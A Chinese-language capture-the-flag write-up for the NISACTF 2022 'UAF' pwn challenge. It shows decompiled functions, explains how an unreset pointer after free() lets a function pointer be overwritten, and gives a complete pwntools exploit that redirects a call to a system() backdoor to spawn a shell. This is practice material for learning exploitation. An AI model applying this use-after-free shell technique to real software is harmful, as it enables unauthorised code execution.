[NISACTF 2022]UAF
[NISACTF 2022]UAF
1
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=85bd87e16a35c0c05064a1a0938f6115b8b3b2be, not stripped
$ file pwn
1
2
3
4
5
6
[*] '/home/bamuwe/NISACTF_2022_UAF/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ checksec pwn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int create()
{
int result; // eax
int v1; // ebx
char *v2; // eax
printf("you are creating the %d page\n", i);
result = i;
if ( i >= 0 )
{
result = i;
if ( i <= 9 )
{
v1 = i;
(&page)[v1] = malloc(8u);
if ( i ) // 判断点
{
if ( i <= 0 || i > 9 )
{
return puts("NO PAGE");
}
else
{
puts("Good cretation!");
return ++i;
}
}
else
{
v2 = page;
*page = 'oaig'; // giao
v2[4] = 0;
*(page + 1) = echo; // 在堆中存贮了echo()的地址
puts("The init page");
return ++i;
}
}
}
return result;
}
create()函数
1
2
3
4
int __cdecl NICO(char *command)
{
return system(command);
}
后门函数NICO()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int del()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > i )
puts("NO PAGE");
else
free((&page)[v1]);
return __readgsdword(0x14u) ^ v2;
} // 没有清空指针
del()函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int show()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 ) // v1=0
{
if ( v1 <= 0 || v1 > i )
puts("NO PAGE");
else
echo((&page)[v1]);
}
else
{
(*(page + 1))(page); // 利用点
}
return __readgsdword(0x14u) ^ v2;
}
show()函数
交互函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def add():
io.sendlineafter(b':',b'1')
def edit(idx,text):
io.sendlineafter(b':',b'2')
io.sendlineafter(b'page\n',str(idx))
io.sendlineafter(b'strings\n',text)
def free(idx):
io.sendlineafter(b':',b'3')
io.sendlineafter(b'page\n',str(idx))
def show(idx):
io.sendlineafter(b':',b'4')
io.sendlineafter(b'page\n',str(idx))
程序逻辑:
add()
堆块的时候,如果创建的是第一块chunk0
则往chunk0+1
的位置写入echo()
的地址- del()并没有删除指针
show()
执行时,如果是chunk1-9
非零chunk
,则echo((&page)[v1]);
,如果是chunk0
,则(*(page + 1))(page);
,正常情况下是执行echo(page)
利用思路:
程序存在
UAF
,所以可以先申请chunk0
然后释放再申请,就可以获得两个指针*chunk0,*chun1
都指向同一块内存区域1 2 3
add() #0 free(0) add() #1
重新申请的时候由于
i
的值没有重置(i=1)
,所以不会重新向chunk
中写入echo
的地址,我们也可以发现,此时show(0)
是失效的只有在
chunk0
上才能执行我们的利用点
我们通过
*chunk1
修改chunk0/1
上的内容为sh\x00\x00
,我们要考虑栈平衡填充,同时修改page+1
为后门函数地址,构造NICO(sh)
1 2
edit(1,b'/sh\x00'+p32(0x8048642)) show(0)
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
io = gdb.debug('./pwn')
def add():
io.sendlineafter(b':',b'1')
def edit(idx,text):
io.sendlineafter(b':',b'2')
io.sendlineafter(b'page\n',str(idx))
io.sendlineafter(b'strings\n',text)
def free(idx):
io.sendlineafter(b':',b'3')
io.sendlineafter(b'page\n',str(idx))
def show(idx):
io.sendlineafter(b':',b'4')
io.sendlineafter(b'page\n',str(idx))
add() #chunk0
free(0)
add() #chunk1
edit(1,b'sh\x00\x00'+p32(0x8048642))
show(0)
io.interactive()
This post is licensed under CC BY 4.0 by the author.